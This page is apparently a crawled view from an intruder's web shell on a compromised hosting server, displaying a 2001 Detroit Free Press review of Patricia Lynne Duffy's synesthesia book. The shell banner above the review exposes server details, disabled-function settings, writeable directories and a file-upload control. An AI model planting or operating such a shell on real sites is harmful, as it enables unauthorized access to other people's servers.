KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/patriciaduffy1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/patriciaduffy1/When-Senses-Collide.htm
<html>

<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>WHEN SENSES COLLIDE</title>
</head>

<body>

<form id="PageBaseForm" name="PageBaseForm" method="post" action="http://global.factiva.com/ha/default.aspx">
	<div id="contentWrapper">
		<div id="contentLeft">
			<div id="articleFrame" onresize="javascript:CheckForResize();return false;" style="left: 1px; width: 95%; position: relative; height: auto">
				<div>
					<div class="article">
						<table cellSpacing="1" cellPadding="1" border="0" id="table1">
							<tr>
								<td class="index" vAlign="top" align="right" width="4">&nbsp;</td>
								<td><b>WHEN SENSES COLLIDE, WORDS GET COLORFUL</b> 
								</td>
							</tr>
							<tr>
								<td class="index" vAlign="top" align="right" width="4">&nbsp;</td>
								<td>MARTA SALIJ FREE PRESS BOOKS WRITER </td>
							</tr>
							<tr>
								<td class="index" vAlign="top" align="right" width="4">&nbsp;</td>
								<td>&nbsp;</td>
							</tr>
							<tr>
								<td class="index" vAlign="top" align="right" width="4">&nbsp;</td>
								<td>November 11, 2001</td>
							</tr>
							<tr>
								<td class="index" vAlign="top" align="right" width="4">&nbsp;</td>
								<td>Detroit Free Press</td>
							</tr>
							<tr>
							</tr>
							<tr>
							</tr>
							<tr>
								<tr>
																<td height="43">
								<p class="MsoNormal">. </td>
							</tr>
							<tr>
								<td class="index" vAlign="top" align="right" width="4">&nbsp;</td>
								<td>'Blue Cats and Chartreuse Kittens: How 
								Synesthetes Color Their World' </td>
							</tr>
							<tr>
								<td class="index" vAlign="top" align="right" width="4">&nbsp;</td>
								<td>By Patricia Lynne Duffy
								<p>Times Books </p>
								<p>170 pages, $26 </p>
								<p>It sounds faintly schizophrenic, to see 
								sounds or to taste shapes. And indeed, 
								throughout history, people who claimed that 
								words or music came in different colors were in 
								danger of being misdiagnosed as psychotic -- or 
								dismissed as speaking merely metaphorically. </p>
								<p>But what they were experiencing is 
								synesthesia, a neurological condition in which 
								stimulating one sense fires off a reaction in a 
								second sense. Synesthetes might say that a food 
								tastes &quot;pointy&quot; and mean not a metaphor, but a 
								sensation in the mouth. </p>
								<p>Researchers disagree about how many people 
								have some form of synesthesia; estimates vary 
								from one in 10 to one in 25,000. But many 
								researchers believe more children than adults 
								and more women than men experience the 
								phenomenon. The French poet Arthur Rimbaud wrote 
								a sonnet, &quot;Voyelles,&quot; about his experience of 
								colored vowels. Novelist Vladimir Nabokov 
								described his colored alphabet in his 
								autobiography. Franz Liszt reportedly saw 
								colored notes. </p>
								<p>Journalist Patricia Lynne Duffy is another 
								synesthete and her matter-of-fact descriptions 
								of the phenomenon in &quot;Blue Cats and Chartreuse 
								Kittens&quot; will go a long way to letting others 
								enter into synesthetes' perceptions. </p>
								<p>Duffy experiences a colored alphabet, one of 
								the most common manifestations of the 
								experience. Before she could read, she would see 
								colored patterns when she heard words, a unique 
								pattern for each set of sounds. She spent much 
								of her childhood painting pictures of the 
								designs, never realizing that other people 
								didn't hear words in the same way. </p>
								<p>When she learned the alphabet and began to 
								read, her color perceptions transferred to 
								letters and then to the words formed by the 
								letters. In Duffy's mind, &quot;c&quot; is dark blue, 
								which means that &quot;cat&quot; is a blue word, too. &quot;K&quot; 
								is chartreuse, so &quot;kitten&quot; is chartreuse. </p>
								<p>The mark of a true synesthete is that his or 
								her perceptions don't shift. &quot;It is important to 
								understand that to a synesthete, the color of a 
								letter is as intrinsic part of it as is its 
								shape,&quot; Duffy writes. &quot;To me, a red O seems as 
								peculiar and wrong as the notion of a triangular 
								O. An O is circular! And it is white!&quot; </p>
								<p>It's interesting, say researchers, that 
								colored-language synesthetes don't necessarily 
								agree on which colors go with which letters -- 
								but that a remarkable number say that the letter 
								&quot;o&quot; is white. </p>
								<p>What's going on here? </p>
								<p>Duffy devotes much of the book to what 
								researchers think is going on in a synesthete's 
								brain (something about lack of blood flow) and 
								why they think it might have developed (an 
								evolutionary trick to fix complex experiences).
								</p>
								<p>But some of the most affecting passages are 
								synesthetes' accounts of how they found others 
								who could understand their perceptions, after 
								years of feeling like freaks. &quot;I felt I had to 
								hide the way I was internalizing things,&quot; says 
								one synesthete, who dazzlingly experiences 
								numbers and units of time as being colored and 
								three-dimensional. (That's similar to the 
								synesthesia I experience, time as colored 
								spaces. By the way, we're living in a 
								trapezoidal lemon-yellow decade.) </p>
								<p>To bridge the gap between synesthetes and 
								others, Duffy includes several Web pages. A good 
								starting point is web.mit.edu/synesthesia/www/synesthesia.html, 
								which tries to reproduce some perceptions. </p>
								<p>Meanwhile, Duffy's book is a 
								thought-provoking glimpse at how much is lurking 
								in other people's minds -- and how little we 
								know about it. <br>
								<br>
								� Copyright 2001, Detroit Free Press. All Rights 
								Reserved</td>
							</tr>
						</table>
					</div>
				</div>
			</div>
		</div>
	</div>
</form>

</body>

</html>

Anon7 - 2021